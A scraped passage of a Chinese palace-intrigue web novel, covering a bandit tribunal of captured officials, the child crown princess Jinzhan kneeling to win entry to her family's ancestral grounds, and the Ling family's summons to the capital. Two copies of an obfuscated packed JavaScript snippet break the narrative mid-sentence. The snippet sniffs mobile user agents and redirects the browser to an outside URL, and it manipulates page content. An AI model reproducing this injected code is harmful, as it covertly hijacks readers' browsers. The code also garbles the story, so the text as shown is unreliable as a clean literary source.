他颤抖的目光昂看李云起,求生的意志支配大脑,喃喃说:“我……我的算术颇……好……算术颇……好啊……” 北安阳压下心悸,鼓起勇气,急声道:“垂洲县丞禹季,他真得精于算道、地理志。他身边没有家人是因为他的家人不愿与他一起赴死,他被捉前就已死的死、逃的逃,弃他而去……” 迎来李云起的利眸,北安阳顿时抱住儿子的头埋下去,不敢再出声。 李云起粗狂的脸上展出笑意。他看向一众激愤高呼的人,压了下手。 人群安静下去。他们各个面黄肌瘦的脸上唯有双眸铮亮,露出狼般的光芒。 李云起把目光从北安阳调向人群,震声高呼:“你们中可有涠洲,垂洲人?说说这两人的罪行。” 有人站出来高声道:“我是涠洲人士。我从未见县丞管过当地乡亭。乡绅和亭户沆瀣一气,欺男霸女,祸乱乡民,他们直接差使府里的恶犬破门抢夺我们的妻儿戏耍。这等毫无作为的县丞要来何用?呸。” “对对……”民众又高声响应。 李云起的双足绑有虎皮。他踏步上前,抽出腿间匕刀,分胯立在北安阳一家前。 北安阳管不得脸上的血还热,朝他高呼道:“我的祖籍就是南旋道府,上京考中后被调任涠洲县丞。当地乡绅势大,我空有县丞权却无势可用,被辖制在官位上几载。 我不于他们同流祸害乡民,已是我读书人的本份啊。诸位父老乡亲,不是我不作为,而是我无能无势可作为啊。 五县以清光县为首,他与杨安有仇,又是岩阳郡守亲家,直接推出云山县携五县贡茶上卧秋山道,赶期赴道府。 此事一出,我本就不同意,但是妻儿老小一家在侧,无奈不得不入此坑。 出事前,我日日心慌,愧对云山县乡民; 出事后,我心知大祸临头。 当岩阳郡守下令捉拿县丞,清光县丞最先得悉、携家眷逃走,余下我三人三家被捕。 吾父吾母不愿拖累吾,当日悬颈赴死,余下吾妻儿苟延残喘。 我身为读书人,吾知为官无作为,与鸡犬豕无异。 读书三十载,曾也是立誓为民请命,为民读书……奈何……奈何世道如此艰辛,但是……但是我真得不甘心啊……不甘心……呜呜呜……” 一旁的垂洲县丞禹季泪眼朦胧,头埋草泥地。他耸动双肩,只余哭泣。 李云起看向一众沉默的乡民,呵笑声后打破北安阳营造的凄哀氛围。他高声道:“怎么,嘴巴说说,忏悔几句就可揭过我们老百姓受的苦?你可知这一大群人是什么原因才躲进青骊山落草为寇?你当我们乐意干这刀头舔血的事? 这全是他爹得被你们这群祸害、不作为的官逼上此处。”他又看向窃窃私语的众人,“大家说,杀不杀?” 民众里一时无言。 李云起心有成算,冷笑一声后朝抱紧妻儿的北安阳道:“你这人的胆子大,嘴皮子利索,倒是真读过书。只可惜,百无一用是书生,说得就是你这种人。” “等等。鄙人不算无用,也是精读史书,乃是儒门学子——宜醉。”宜醉听着大伙的笑声,摆手道,“某虽不敢苟同安阳兄的话,但也是被大宰辅的爪牙逼进深山。如今,某倒是……” “掉书呆子的,滚一边去。”李云起直接挥手,走至禹季的面前道,“至于你,胆小如鼠,事到临头只知哀苦。我看在你们还有丝血气的份上想着留你一命。 你却只会以头抢地,哭天嚎地。 我问你,你可会刊山寻地,给我们大伙儿寻个寨子安家?” 禹季的哭腔哽了下,不曾想有活的机会。他也亲见郡府一家连喊声都没出就被这帮人斩了,一时哽住,停了哀哭。 他抬起花里胡哨的脸,看着眼皮底下那双虎皮绑腿还漏脚趾的草鞋,不知为何,悲从心起,眼泪更是肆虐而出,却也知道重重地点头。 北安阳昂头看向李云起,不知对自家是作何处理。 李云起却懒得理这嘴皮子利索的读书人,睨了拱手的宜醉一眼,朝众人振臂高呼:“今日,咱们既是反贼,干脆就反给这帮官老爷看。什么岩阳郡守,杀了便了。什么卧秋道府,他日我们杀进城,掀他官衙庙堂,将欠我们的债,都一一给讨回来。你们说,好不好?” “好好好……”一众人举臂高呼,无不响应。 ** 京都,大金宫。 天无白色,甬道上一行掌灯宫女在前,杜鹃和南叶伴在太女的软轿侧旁,一起向外廷的天机宫、卜耀阁行去。 天机宫乃是历代轩辕皇朝的太子宫殿。大周历史上有两任轩辕女皇,却也不曾入主天机宫。她们都是临危受命,荣登大宝。 轩辕夏鉴于此历史,从未想过让太女住进天机宫。将来,他若真生不出儿子,临死之际再将金簪抬上去即可。 他是一点儿不信命的,更不想早早将太女送进天机宫。真送进去了,岂不是养了狼女野心。 卜耀阁外,软轿落地。 金簪缓步而出,立在天机宫殿群外作为观景小楼的卜耀阁前。 她侧首望向前方偌大肃穆的天机宫殿群的模糊轮廓,那边宫门紧闭,无一丝灯火透出来。 不知怎地,她的心间淌过微微的笑意。不是喜乐,亦不是悲怒,仅仅是单纯的笑。若真用语言形容,那就是:我终于踏离了内廷后宫,来到了外面的世界。 入阁后,金簪径直向主位上的书案走去,而后坐在软垫。 杜鹃心知南叶有事要禀,带一众人出阁,去了旁边的空楼准备晨食。 南叶屈膝上前,立在金簪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059933|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,轻声道:“内廷库房日日有出入,唯有的不同处,婢子从司制处听闻所领物料质不如前。几大宫殿的宫婢也传出所领茶叶乃是陈年旧茶……还有,娘娘的宫中日前去领瓷器盏件,花色富丽不减贵气,但是光泽质地已大不如前,颇有些暗淡,疑似有次充好之嫌。婢子听翡翠宫的宫女念了一句,被那些内侍直接骂了出来。后来,那宫女塞了银绞,才将东西领走。” 金簪轻蹙细眉,随后又略略散开。 她凝目在书案上的文房笔架、摆件,再及下首小几,最终将目光落在提盒盏。 那盒盏是等太傅来时供他所用,杜鹃在离开前未曾带下去。 金簪敛眸,朝南叶道:“距离散朝还有会时间,你遣人回金翅宫,将太傅以前惯用的提盒盏拿来。那边……那架……就留在日中后,等着给少傅用吧。” 南叶不知她的用意,依言退去后吩咐宫侍快步前去取食盒。 孙忠谋在散朝后疾步行至卜耀阁。 入殿后,他先是给金簪讲学、文治,至食时,在杜鹃服侍下用了精致盒盏里盛放的早膳。 晨时,他接着给金簪讲课,待日中后布置下课业,辞别金簪,而后出宫离开。 少傅沈长清从六卿寮所匆匆赶来。如今太女身在卜耀阁,比以前在金翅宫好太多了,至少近了。 在甬道上,他等到出宫的太傅,陪他行了一路,了解到太女的教学进程以及治学安排,又送孙忠谋出宫。 随后,沈长清匆匆赶回卜耀阁。本以为几近日昳,在太女的女官照拂下用过饭就没有午憩的时间。 这会,人在卜耀阁前还有喘口气的闲暇。 入阁后,沈长清得知太女已经上阁午憩,便在南叶的安排下用午膳。 当他看到两驾提盒盏时,眸光轻忽,疑惑道:“怎么有两架不同的提盒盏?我一人一盏足矣。” 南叶含笑行礼,回道:“回少傅大人,这盏是从内廷府库新领来的提盒盏,太女觉得花雕新颖别致,留给少傅这般清风明月的大人用。” 沈长清又不是花言巧语养大,根本不信这套。 太女金簪的年纪虽小,但敏学思辨的才智会看不出此中的用料差别? 何况,沈长清教得就是辨物格致的课业,这点眼力劲还是有的。 他心中有数,只点头不言语,专心用完膳后趁机在殿内午憩。 晡时左右,金簪收拾过后下楼,坐回桌案前。 少傅沈长清入阁授学,接上前日的格物内容,说起辨别印玺之法。 金簪的耳入他声,目光凝在少傅腰间的绥带挂坠,待少傅把太女印的特点分将清楚后,平静道:“少傅,今日为何换了挂饰?” 沈长清拨弄了下腰间的坠饰。前几日他挂得是青玉饰品,如今是情人编织的青玉丝绦。 他含笑道:“我猜殿下不是要谈此坠饰。” “哦,少傅以为孤要谈什么?”金簪抬眸,回到沈长清清隽的面容。 “天下。”沈长清解下腰间丝绦摆在案几,侃侃道,“殿下以为如何?” 金簪不会去拿这种物品,但是,她的目光扫过时淡声道:“普通的青染絮木丝,无甚特别。少傅是堂堂四品,为何不坠青玉?” “呵,以一盏一丝窥天下穷富,殿下可知如今的茶市,匹绢难买斤茶。”沈长清欣慰之余,又因世道艰难而出哀声。 金簪摇头又点头道:“宫廷里分发各殿得都是陈年旧茶,因此,不少宫女挨了主子的罚。” “哎,不错。今年卧秋道府的贡茶迟迟没有入京。”沈长清道。 “父皇不爱喝茶,但是母妃喜欢。内廷司不敢克扣母妃的茶叶,但是司制茶盏却可以蒙混过关,各宫茶叶待客,问题不是很大。”金簪流转清眸,再次看向案几上的青玉丝绦,“少傅不会是拿青玉换茶孝敬太傅了吧?” 沈长清忍不住压住唇角,朝金簪屈身拜道:“殿下明察。老师嗜茶如命,宁可居无竹,不可水无叶。” 金簪差点被他逗笑,继而想起孙忠谋的教导。她转言道:“这丝绦编织精细,暗扣形如南蜀道府的暮朝花。慕朝期花红,盼君赴罗衿。这是女子赠与男子聊表相思意,而且是一位大胆奔放的南蜀女子所赠。” 沈长清收起惊叹的神色,有点摸不准道:“殿下不好奇卧秋道府为何迟迟不送贡茶入京吗?” 金簪盯在案上的书录,正色回道:“孤好奇又何如?难道这世道会仅只贡茶一事?孤如今的状况能改变什么?少傅和太傅没少在殿前夸孤才智,又如何?” 沈长清一时哑口无言,大宰辅一党为求金,延迟各地进贡入都,继而发生各种惨案,却无人可以撼动宰辅权势。 眼前的女子区区六岁,虽眼明心亮,却势单力薄。 宰辅视她不过一女子小儿,早早想着给她介绍贵族公子令她沉迷男色,真正未曾放将她在心上。不知他日,殿下龙腾万里,凤鸣九皋,是否可还世道清明,是否能令大宰辅被斩菜亭。 7. 约定 夏夔帝一十八年,凌云出生的两年后,而轩辕金簪八岁了。 太女应轩辕皇后和太傅孙忠谋的计划,跪在乾明宫的金殿前近三天。 金簪自在卜耀阁入学后,与外界官员的相逢渐多,对当今世道有了更多的了解。沈长清又常将外面发生的事说给她听,小小的金簪有了个坚定的想法。 她立志重振轩辕铁甲,以期在未来收服各地叛离出去的地方道府。这是身为大周太女理应担负的责任。 金簪将这个志向告诉太傅孙忠谋时,孙忠谋感叹道:“这遭,老夫陪殿下走。” 金簪与太傅、少傅三人经过谋划,先由金簪以苦肉计动轩辕帝的意,暗逼轩辕夏明确太女在朝中的地位,从而获得进入轩辕祖地的机会。 轩辕祖地乃是一处暗地,听说里面满覆金银、有治世王道,甚至有天下至强的武功秘技,更有修仙长生的秘法。 金簪已在乾明宫前跪了三天,唇干脸白、人虚体乏,已至极限。 但是,八岁的她依然握紧拳头,试图撑起软下的腰肢,以显皇族应有的仪态。 沈长清陪孙忠谋匆匆奔赴大金宫,赶往乾明宫。 他们早就估算过,跪请三日是太女殿下的极限。若他们再不来,恐怕人跪死在宫殿前,里面的轩辕皇帝都不会为这个女儿皱下眉头。 孙忠谋疾步到金簪的身边,怜惜道:“殿下,可以了,接下来由老臣为您开道。” 金簪轻轻地蹙眉,迷离地看向太傅,腰肢一软倒了下去。 沈长清顾不得尊卑,赶紧抚住太女,将她交给一旁陪跪的南叶。 杜鹃已倒下,余下接班的南叶还算清醒。 南叶接过太女,将人轻靠在膝头,朝沈长清颔首。 “陛下啊,老臣以死谢罪,没有把太女殿下教好啊……”孙忠谋大声朝乾明宫喊,老泪纵横道,“太女殿下一心为民,一心为我轩辕朝,却对您这位父亲做出此等大逆不道、逼父祭祖的事。她跪在乾明宫外三天三夜,胁迫陛下树她心中志向,实在大不孝啊。” 他的头磕在乾明宫的玉阶前,抬面高呼时血泪交替而下。 外廷总管韩丹一看不好,这些话分明在说皇帝毫无父女情、背祖忘德……他赶紧进殿向皇帝禀明情况。 金銮上的轩辕夏拂袖冷笑了声,阴鸷道:“你把他带进来说话。明日个满朝上下又要说朕苛待老臣,待大宰辅出征回来,还得在朕耳边念叨个不休。” 孙忠谋豁出老脸,听到宣召,赶紧带沈长清直入乾明宫。 轩辕夏高坐庙堂,深沉张脸。 他见两人进来就跪,冷笑道:“好你个孙忠谋,当朕治不了你。她轩辕金簪一个女子,凭什么想要进祖庙修习《轩辕诀》?此诀传男不传女,你现在可知道?” 孙忠谋狠狠地将头磕在地,铿锵道:“臣有耳闻,臣也知道近来四十五道府,已有十二道府起兵自立。太女殿下小小年纪,心中立志收服失地,重振我轩辕皇朝。如此良才,陛下为何不加以培养?” “哼,道府自立,朕又岂会不知?子鸾已经向朕担保定能平乱,风瑶骑兵已经向南开拔、清剿叛乱。平叛乃皇朝重事,她轩辕金簪表什么情?一介女子,即使她能守成,如今这近况,又能干什么?既是皇朝明定的继承人,就待在太女的位置上,摆好她的相。 朕膝下无子,不会一直无子。孙忠谋,别一再挑战朕的底线。” “陛下既承认了太女的地位,就请她代陛下祭祖,前往宗庙族地拜见大宗伯紫琴君。”孙忠谋赶紧见缝插针道。 “你……”轩辕夏一听顿时上火。 “陛下,”沈长清赶在轩辕夏暴怒前,豁出去喊道,“太女敏而好学、聪慧明理。明明可以更进一步为朝效力……” “放肆。”轩辕夏怒火中烧,拍案而起,“更进一步?她想更近哪一步?朕这个位置吗?还是你们这群自称文贤清贵的世家弟子想要朕的江山,朕的大周国。” “臣等绝无此意。”沈长清将头磕在地,背上、额间冷汗交加。他不忍孙忠谋说这些话。然而,说出来是痛快,在悬崖边行走更得一身惊寒。 孙忠谋昂起脸,血泪流了满面。 他缓了语气,恳切道:“陛下明明睿智明达,何以曲解臣下的心意?微臣众人是想替陛下分忧,稳固朝纲、定鼎天下纷乱啊。” “哈哈哈哈……”轩辕夏似听到最大的笑话,咬牙抹去桌面的笔洗,厉声道,“孙忠谋,孙太傅,你老了。这天下,你已看不分明。轩辕金簪坐上太女的位置又如何?道府独门自立,据一方势大,凭她轩辕金簪何以力挽狂澜? 朕年过不惑,只恨无一大儿替朕出征,不能以安天下民心。” “陛下……今日,臣以死谢罪,赎当年强逼陛下定太女之事。微臣今日就撞柱而死,以谢陛下记得曾经的师徒恩义。”孙忠谋说完猛然站起,直直向大殿中的柱子撞去。 “老师啊。”沈长清心下一惊。明明说好的戏份,怎么就逼到这个地步。他顾不得殿前失仪,赶去拦孙忠谋。 “皇后娘娘到。”殿外高声唱道。 轩辕夏见孙忠谋被沈长清拦下,心头一惊又松了开去,哼了声道:“哼,太女党今日到齐了。宣。朕今日就看看你们到底要玩什么把戏。” 轩辕皇后一改往日的凤袍华服,穿身浅粉白裙,简简单单的朝天仙人髻,款步进入乾明宫大殿。 入殿后,她先是看到抱在一起的孙忠谋师徒,眸光掠过讥讽,似笑非笑间莞尔道:“陛下,何必动怒火,不过是些人间的腌臜玩意,不值当生气。” 轩辕夏本在生气,看到皇后今日的扮像后更是怒发冲冠。然而,他在听到轩辕皇后奇奇怪怪的调子话儿后又瞬间去了那火,像是被一盆冰水浇在了头。火,熄了。 他的目光充满迷炫,怀念般朝她喊道:“阿乐……神女阿乐……” 轩辕皇后的指甲掐紧掌心的肉里,连礼都没有行。她直接坐在轩辕夏的龙椅上,睨他道:“阿夏又在生什么气,金簪终归是我看了三年的……” 轩辕夏闻言,目光复杂地盯视在轩辕皇后的脸面。他的理智复笼,再次露出讥讽般的笑容,疯癫般道:“论起龙腾殿里扮她最像就属你:有司赤燕。” 皇后吊起了凤眼,半讽半笑道:“那陛下可还要婢子继续扮她呢?” “你已经很像很像了。但是,她终归是仙人,仙人不会留在人世间。你想要什么?”【凭着这一丝声音的相似,朕可以满足你一个要求。】 轩辕夏默默想道,神思更是飞去了九霄云外。 轩辕皇后离开龙椅,跪服在台阶上,恭敬道:“金簪是神女亲自选了出生时辰,用仙法护着出生。” 轩辕夏暗晦的眸光里有着被打扰的不虞,腾烧起阴戾的暗火。 “陛下,臣妾唯有簪儿一女。此生只会有她一女,而陛下若还记得神女……当记得神女临去前的话。陛下慕神女阿乐,定也信她的话。 簪儿有鸿鹄之志,不像当年的她吗?陛下宽厚,念情顾旧,求陛下全金簪这份志向,允她前去祖地。”皇后屈身跪服,静等上首的话。 孙忠谋和沈长清相视一眼,一起跪在皇后的身后,磕头求道:“请陛下全太女之志。” 轩辕夏缓缓地坐回龙椅。 年过不惑的脸上一片萧瑟暗淡。 他的脑海里回荡那位神人般的女子如同咒怨的话。 “阿夏,你会有一个孩子。你我相爱不易,我们要好好筹划一番怎么要这个孩子。” “阿夏,你在做什么?你背叛了我。” “如今,你的孩子要出生了,你我的缘分将尽。” “轩辕夏,不要再杀她了,她还只是个婴儿。我警告你,她若死,我咒你永生不得所爱。” 轩辕夏的眸光如火苗般跳闪,里面充满阴毒的戾气。他的唇角慢慢地下挂,整张脸显得悲情荒诞又凶恶。 他的目光落在轩辕皇后有司赤燕的背上金凤花纹。 “若不是她以毒咒护你们母女,你们能有命活到现在吗?” 若不是朕与她赌气,朕何以荒唐至此。呵呵呵呵…… “哈哈哈哈……” 轩辕皇后耳听上首疯了魔般的笑声,额下贴地的手微微一动,脸上的双眸狠狠地闭了下。 轩辕夏终于将丧了的心重新拼凑,哼笑道:“既然她想要进祖地,朕同意了。但是,她进过祖地后无论是否修习到《轩辕诀》,都必须承诺朕一事。”他朝内侍道,“你去将人带进来,朕要她当面承诺。” 韩丹闻言,疾步而去。 沈长清和孙忠谋对视,忐忑地跪在殿下,无皇命都不敢起身。 乾明宫殿外,轩辕金簪被南叶喂了几口水,稍许缓过劲。八岁的她一直在坚持,就等殿内传来结果。后来,她听说母妃进去,心知成败在此一举。 韩丹疾步近前,行礼道:“太女殿下,陛下召您。” “多谢。”金簪喃完,目光穿过他直射乾明宫。 这宫殿,从金簪三岁离开龙腾宫后,拢共来的次数不超过五个指头。她强撑起身,拂开南叶的搀扶。 金簪深吸口气,压下心里的波澜涟漪,身姿笔挺得向乾明宫走去。 入殿后,皇威厚重,尤其在见到往日气度稳然的太傅和沈长清跪在殿阶下,往日皇威仪如山的母后也伏地跪在殿前。 轩辕金簪平静下去的心里泛起丝笑意。 【这就是权利,大周最为珍贵的权利。】 金簪心知不该露笑。她沉张小脸,缓步上前,跪在母后的身后、太傅之前。她忍着双腿泛起的虚软,小小的童稚音透出无比的坚韧:“儿臣见过父皇。” 轩辕夏凝目在太女的小身板。 若说谁最像神女阿乐,当是这个在龙腾殿里凭借阴谋诡计出生的女儿。而且,金簪得阿乐护佑三年,开了慧。但是,就是这样,金簪和有司赤燕才更可恨…… “哼,你想要进祖地?”轩辕夏冷嗤道。 “是。”轩辕金簪的身姿笔挺,拱手道,“儿臣阅读皇家密录,知道祖地秘闻藏有轩辕铁甲的真相。儿臣想要进去,此后重建轩辕铁甲,为父皇夺回卧秋十二府。” 轩辕夏权当笑话听。他看向一直跪着的皇后,也是个好韧劲的女人,再有孙忠谋和沈长清,又嗤道:“朕允你去,至于你能学到什么,全凭你的本事。但是,朕要你答应一事。” 轩辕金簪微顿,轻轻地抬眸凝向上首的父皇。 父女两人相似的眼睛对上。金簪随即垂目,而轩辕夏更是眯了眸,唇角挂的笑越发古里古怪。 “父皇为君,君要臣死,臣不得不死。父皇请讲。”金簪板正又严肃道。 “死。你不能死,你死,朕……呵。朕要你十五岁及笄时在金宫前的登令楼上当百姓之面、天下人前……翩翩起舞,而舞由金都西教坊司着人传授。” 轩辕夏的话音刚落,轩辕皇后先一步昂起头,诧异道:“陛下您……” 孙忠谋也是瞪大了眼睛,一口气差点上不来,直拉风箱似地呼呼喘息。 沈长清赶紧帮老师顺气,又低喃道:“京都城内设东西教坊,而西教坊是……民间艺伎之所,专营商、贾、农、民营生,比东教坊收留的罪臣家眷以供官员游娱更……俗。” 轩辕夏嗤了声,丝毫不在意殿中三成人的情态。他看向蹙眉又散的太女金簪,讥道:“你可知西教坊是何地?” 金簪知道宫廷有内乐坊,隶属于六卿寮所的太祝掌管。而太祝府下设太常寺,太常寺不仅管乐坊,还专职民间声乐机构。例如:京都的东西教坊司。 金簪有耳闻,却未真正见识过。 她暗吸口气,身正再拜:“儿臣不知。但是,儿臣应下父皇的旨意。谨遵父皇之命。” 孙忠谋匀过气后急喊道:“殿下……使不得。陛下,此事关乎皇家威仪,岂可令太女当百姓之面行艺伎之事。何况是……西教坊的……的淫魅惑人之舞。殿下,使不得啊。请陛下三思。” 轩辕皇后也回了神,挺身直视上座的轩辕夏。 她昂首质道:“陛下,簪儿是您唯一的女儿,更是您的嫡女。你怎可如此欺辱簪儿?” “你们不同意也没事。呵,那就让她回金翅宫好好待着吧。”轩辕夏以冷笑驳斥众人。他的目光依然盯在金簪的面容,心道:此子却有几分不知天高地厚。 金簪垂眸看着砖面上变化多端的花纹,双手叠于额前,叩谢道:“父皇,此事儿臣做主,儿臣应下父皇之约。请问,儿臣何时可去祖地?” 孙忠谋和皇后一下子软了脊梁,心知事无转圜。自此,他们只有压下这口郁气,再从长计议。 沈长清看向依旧腰身板正的太女,不知该作何感慨。 【父辱女自此,实不配为父。】 “朕令韩丹带你前往。对了,至于西教坊的舞娘,朕亲自给你挑。”轩辕夏说完,阴戾的目光从错愕的皇后和孙忠谋等人的脸上划过,终于畅快了。 他大笑起身,拂袖而去。 轩辕夏离开,轩辕皇后走至太女金簪的面前。她看着女儿,良久未说一个字,随后拂袖离去。 此时此刻,她或许也会怨怪:你为何不是男儿身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059934|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙忠谋被沈长清搀扶过来,向太女躬身拜道:“殿下……” “孤知道太傅要说什么,先回卜耀阁吧。”金簪早已习惯皇后的阴晴不定,面对皇后的态度,她只过目,但蔽于心外。 她向沈长清颔首,率先走出乾明宫。 一到宫外,她就向前扑去,被南叶即时扶住了。 孙忠谋赶紧拍向沈长清,急口道:“事急从权,你快扶殿下回卜耀阁休息。” 沈长清为难了下,还是颔首,意图从南叶手中接过太女。 金簪却按住沈长清的手,弱声道:“不必麻烦少傅,外廷人多嘴杂,由南叶扶孤即可。走吧。” “是。”南叶应下,扶着金簪缓步向卜耀阁行去。 孙忠谋和沈长清看着倔强如此的太女。孙忠谋微微感叹道:“五年来,你我将太女教得太过偏直,需知过刚易折的道理。” “老师?”沈长清听出话意,有些无奈道,“学生……” “老夫说得……哎,你的性子与老夫相近,年轻时过于直了,年老时退一步都要呜呼三声。但你却是老夫中意的门生。老夫自身已不适合再教太女。走吧。”孙忠谋说完,同沈长清疾步追上金簪等人。 卜耀阁内,金簪落座后狠狠地出口气。 女医早已等候在卜耀阁,入寝殿行过礼后,屈膝上前,亲自卷起金簪的两条裤管。 南叶见到太女膝盖上一片乌紫青色,忍不住掉下泪珠。 杜鹃更是跪在金簪的跟前泣不成声。 医女名唤高苗,当今医正高廷之的亲孙女。 金簪三岁被封为太女,高苗就应祖父的劝说入医局习艺。她也是专门为太女准备的医者。 高苗见殿下身边的亲信如此,凶巴巴道:“闭嘴。你们还快去打些温水过来,再晚点,这双腿就要废了。” 杜鹃着急忙慌喊人备水。南叶跑去拿方便的衣饰。 高苗瞧着伤处直摇头。她看向一声不吭、面色端正的太女,好奇道:“殿下不痛么?” 轩辕金簪的思绪还沉浸在乾明殿里的应答场景,闻言愣了下,淡声道:“苗卿觉得孤该痛?” 高苗被反问住。她自入医局以来,一直从祖父手底下的医正学徒晋升到正四品太医女的位置,也是看着殿下长大的人。 她忍不住叹了声,轻声道:“医者父母心。殿下若不痛,高苗替殿下痛。” 金簪拉起了唇角,温声道:“不必了。孤不痛,你也无需痛。医好它们,明日孤还要用。” 便是这句话令高苗也忍不住湿了眼眶。她接过杜鹃端来的盆,用干净的布清洗过金簪的双膝,再擦拭她腿上的周边淤青。 高苗又道:“殿下的身体底子好,但是跪的时间过长。臣女用最好的药,这腿要缓过来也得七八天。臣女给殿下推宫活血,明日看着会更惨烈,但是见效快。” “你擅此道,孤听你的。”金簪岂会不痛,只是她学会如何不痛。 飘飞的思绪像是没有枷锁的雄鹰,一会是宫廷密录里的见闻,一会是乾明宫的地砖花纹……她尽量不把注意力放在双腿。 这是她屡屡被轩辕皇后训斥后学会的办法。 忽视内心的难堪和伤痛,那么,言语利箭、巴掌、腿踢都不算什么了。 高苗睁着大眼,强扯起嘴角,手上稳稳地给太女擦拭伤处。她等南叶和杜鹃给金簪宽衣,再进去给她活络关窍血脉,在伤处涂抹药膏。 杜鹃轻声道:“殿下,要不,直接回金翅宫休养吧。” “不了。苗卿,太傅额间有伤,你先去给他上药。今夜,孤宿在卜耀阁。你也留宿吧。”金簪说完靠在檀木榻上,沉沉地睡了过去。关乎睡觉,金簪也学会了深度睡眠法,只要半柱香的入睡时间,她能保证一夜精神。 高苗朝南叶轻声吩咐了句:“晚间,你们给殿下弄点清淡的食用,最好是平肝养气的粥膳。” 南叶颔首:“婢子明白,上一次高医女开的山药萝卜粥如何?” “改为莲子吧。山药莲子粥上佳。”高苗点拨道。 南叶颔首,同杜鹃交待声后去安排。而高苗去楼下帮太傅处理伤口 金簪心里记挂太傅、少傅还在,认真地小憩片刻后就醒了。 她灌了三碗养胃汤,匆匆出来见孙忠谋。她向等候已久的两人拜道:“太傅、少傅,孤让你们担心了。太傅的额头……” “无碍,高医女已经处理过了,皮外伤而已。臣等见殿下身体无恙才可安心啊。不然,老臣……”孙忠谋想起乾明殿内的场景,一时真是感慨万千。 “殿下,您可知皇上提登令楼的要求是何用意?”孙忠谋说完嘶了声,扯到额头的伤口了。 金簪垂目道:“父皇一心想把皇位传给男儿。若孤十五岁前,父皇生出男儿,那么登令楼上一舞,孤将颜面尽失,在民间毫无威信可言。这是父皇给他自己的期限也是给孤得一个期限。” “不错。但是,此乃其一。”孙忠谋心下略松,不担心此事会影响太女的心性,也不枉用心教导太女认知处事的方法。 “殿下八岁,离十五及笄之期剩下七年。登令楼之事尚早,需知世事无常多变,不必过早忧虑。而且,古之成大事者,动心忍性,增益其所不能,此乃其二。” “太傅的意思是……希望孤将此事看成是父皇对孤的考验。”金簪理解道。 “对。”沈长清重重地颔首道,“如若登令楼一舞不可更改。那么,殿下何不将此事变成一件令世人瞻仰殿下风姿的盛事呢?” 金簪的长眉轻动,压下莫名而起的笑意:“太傅、少傅,孤多谢两位助孤成事。” 孙忠谋师徒见太女终于有了松快色,也大松口气。 孙忠谋又道:“刚才陛下派人来吩咐。明日,韩丹将领殿下进入轩辕祖地。殿下,轩辕祖地乃是禁地,紫琴君处一点风也不透。臣等对其……大都是道听途说,做不得准。殿下前往后需量力而行,保重自身。除此外,殿下能把握机会时绝不可错过。” 至于是什么机会,孙忠谋也不知道,传言可信又不可尽信,但看金簪明日前去后的结果。 金簪明白他的顾虑,颔首道:“孤知晓了。孤不会因向天下一舞而妄自菲薄,更不会自轻自贱,也不会因能前往祖地而沾沾自喜。太傅额头有伤,孤已无恙,请太傅先回府休憩吧。” 孙忠谋心中的郁气总算吐了出来。 沈长清接话道:“老师,殿下的膝上伤得不轻。我们让她多休息吧。明日境况不明,还得让殿下养精蓄锐才行。” 孙忠谋颔首,与沈长清向金簪告退,一起离开金宫。 8. 进京 南旋道府,绿风城,凌府。 凌老爷打开下人送来的书函,里面是一封京都来的调职令函。 凌飞看着这封调职令,心下感慨万千,最终化为凄色。 “老夫曾经盼你无数次,如今你真得来了,吾妻已丧。夫人,老夫终于能够带你回京了。京都的凤仙花一定开得很好,正等你回去呢。” 凌管家比较现实,杵了半天后来句:“可是,老爷……信来的容易,但是人走出去难啊。前面的卧秋道府已反,拦住了我们南旋府进京的官路。” 凌飞颤着手抹了两把泪,捏着信的手向凌管家点了点。 他呵道:“这李云起和北安阳管得了陆上的官道,他们能管得住海上?你派人速去通知府城的申丹大人我欲出行一事。咱们啊……轻装简行。” “丫丫……” 小凌云跌跌撞撞地抚在门框处,其后的小厮灯芯虚虚地扶住孙少爷,怕他一个不慎跌了跤。 凌老爷展开眉宇,放下信笺后绕过长桌迎接孙儿。 “我的乖孙儿哦。爷爷抱。”凌老爷抱起扑来的小凌云,逗着他说话,“小阿云告诉爷爷,今日个学了什么呀?” “嘘嘘,喝……”小凌云做出喝酒的动作。 凌老爷微愣,理解了下后笑道:“今日季闲来过,你在季闲那喝了酒……酒的味道怎么样?” “呼呼……”小凌云砸吧了嘴,又呸呸了两声。 “哈哈哈哈……”凌老爷今日开怀,见状,更是直接笑出声。 灯芯帮孙少爷解释句:“老爷。季闲大侠今日个带飞扬少爷入府,见您不在,就逗弄了一下孙少爷,他给孙少爷舔了腰间带着的酒葫芦口。” “嘘嘘……酒……丫丫……喝……”凌云又吧唧道。 “哈哈哈……给爷爷喝啊。好啊,咱们小阿云真孝顺。”凌老爷自我解读一番,又乐呵道,“季闲的功夫好,下回啊,小阿云不要让他教你喝酒,要跟他学本事。” 小凌云流转晶亮的黑眸,有样学样:“本……丫丫……是……丫丫……本……事。” “对,本事。爷爷能教你什么呀,教你读万卷书,不如行万里路,如何?呵呵……”凌老爷笑了一会,决定了一事:若是韵霜还是不接受孙儿,就带凌云一起上京。 他望向书案上的调令,慢慢地沉静了心绪。 凌老爷抱着小凌云坐到案前,拿起信笺放在小凌云看得到、够不着的位置,轻声解释道:“小阿云,爷爷在这边城已经十三年了,磨掉了最锋利的角。但是,爷爷答应过你祖母,一定要带她回京都看她喜欢的凤仙花。 